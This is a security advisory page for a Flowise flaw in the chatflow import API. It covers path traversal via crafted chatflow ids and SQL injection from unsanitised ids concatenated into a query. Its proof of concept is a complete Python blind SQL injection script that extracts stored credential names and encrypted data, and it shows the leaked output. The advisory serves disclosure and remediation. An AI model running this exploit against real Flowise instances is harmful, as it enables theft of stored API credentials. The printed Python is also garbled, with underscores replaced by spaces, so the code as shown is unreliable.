PT-2025-15901 · Npm · Flowise

Publicado

2025-04-07

·

Atualizado

2025-04-07

CVSS v3.1

5.9

Média

VetorAV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Summary

import functions are vulnerable.

Details

Authenticated user can call importChatflows API, import json file such as AllChatflows.json. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.
Issue 1 (Bug Type)
  1. Malicious user creates AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file.
json
{
 "Chatflows": [
  {
   "id": "../../../../../../apikey",
   "name": "clickme",
   "flowData": "{}"
  }
 ]
}
  1. Victim download this file, and import this to flowise.
  2. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.
Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.
javascript
// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
    try {
    const appServer = getRunningExpressApp()

    // step 1 - check whether file chatflows array is zero
    if (newChatflows.length == 0) return

    // step 2 - check whether ids are duplicate in database
    let ids = '('
    let count: number = 0
    const lastCount = newChatflows.length - 1
    newChatflows.forEach((newChatflow) => {
      ids += `'${newChatflow.id}'`      // <===== user input
      if (lastCount != count) ids += ','
      if (lastCount == count) ids += ')'
      count += 1
    })

    const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
      .createQueryBuilder('cf')
      .select('cf.id')
      .where(`cf.id IN ${ids}`)          // <===== here
      .getMany()
    const foundIds = selectResponse.map((response) => {
      return response.id
    })
It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above. When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.

PoC

python
import argparse
import requests


def import chatflows(
  url: str,
  token: str,
  payload: dict
):
  response = requests.post(
    f'{url}/api/v1/chatflows/importchatflows',
    headers={
      'Authorization': f'Bearer {token}'
      # 'Authorization': f'Basic {token}'
    },
    json=payload
  )

  return response.json()


def import normal data(
  api url: str,
  token: str,
  normal data: str
):
  data id = 'aaaaaa'

  payload = {
    "Chatflows": [
      {
        "id": data id,
        "name": normal data,
        "flowData": "{}"
      }
    ]
  }

  import chatflows(
    url=api url,
    token=token,
    payload=payload
  )
  return data id


def get character(
  api url: str,
  token: str,
  data id: str,
  column name: str,
  index: int
):
  injection query = f'(SELECT ascii(substr({column name},{index},1)) FROM credential limit 0,1)'

  def create payload(
    c: int
  ):
    return f"{data id}') and if (({injection query})<{c}, 0, 9e300 * 9e300); -- "

  chatflows json = {
    "Chatflows": [
      {
        "id": "",
        "name": data id,
        "flowData": "{}"
      }
    ]
  }

  bitbox = [
    64, 32, 16, 8, 4, 2, 1
  ]
  character = 0
  for bit in bitbox:
    payload = create payload(c=character + bit)
    chatflows json['Chatflows'][0]['id'] = payload

    res = import chatflows(
      url=api url,
      token=token,
      payload=chatflows json
    )
    if 'DOUBLE value is out of range' in res['message']:
      # character is more then bit
      character += bit
    else:
      # character is less then bit
      character += 0

  return chr(character)


def get length(
  api url: str,
  token: str,
  data id: str,
  column name: str
):
  injection query = f'(SELECT length({column name}) FROM credential limit 0,1)'

  def create payload(
    c: int
  ):
    return f"{data id}') and if (({injection query})<{c}, 0, 9e300 * 9e300); -- "

  chatflows json = {
    "Chatflows": [
      {
        "id": "",
        "name": data id,
        "flowData": "{}"
      }
    ]
  }

  column len = 0
  bitbox = [
    256, 128, 64, 32, 16, 8, 4, 2, 1
  ]
  for bit in bitbox:
    payload = create payload(c=column len + bit)
    chatflows json['Chatflows'][0]['id'] = payload

    res = import chatflows(
      url=api url,
      token=token,
      payload=chatflows json
    )
    if 'DOUBLE value is out of range' in res['message']:
      # column len is more then bit
      column len += bit
    else:
      # column len is less then bit
      column len += 0

  return column len


def main(
  url: str,
  token: str
):
  api url = url

  column box = [
    'credentialName',
    'encryptedData'
  ]

  data id = import normal data(
    api url=api url,
    token=token,
    normal data='flow01'
  )

  for column name in column box:
    column len = get length(
      api url=api url,
      token=token,
      data id=data id,
      column name=column name
    )

    print(f'[+] {column name} length is {column len}')

    result = ''
    for i in range(column len):
      result += get character(
        api url=api url,
        token=token,
        data id=data id,
        column name=column name,
        index=i + 1
      )

    print(f'[+] {column name}: {result}')


if  name  == ' main ':
  parser = argparse.ArgumentParser()
  parser.add argument(
    '--url',
    type=str,
    default='http://flowise:3000'
  )
  parser.add argument(
    '--access',
    type=str,
    required=True,
    help='Get from http://flowise:3000/apikey'
  )

  m args = parser.parse args()

  main(
    url=m args.url,
    token=m args.access
  )
poc results: encryptedData from flowise database credential table was successfully leaked.
/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==
It is recommended to limit all chatflow ids & chat ids to UUID.

Impact

  • Database leak
  • Lateral Movement

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-9C4C-G95M-C8CP

Produtos afetados

Flowise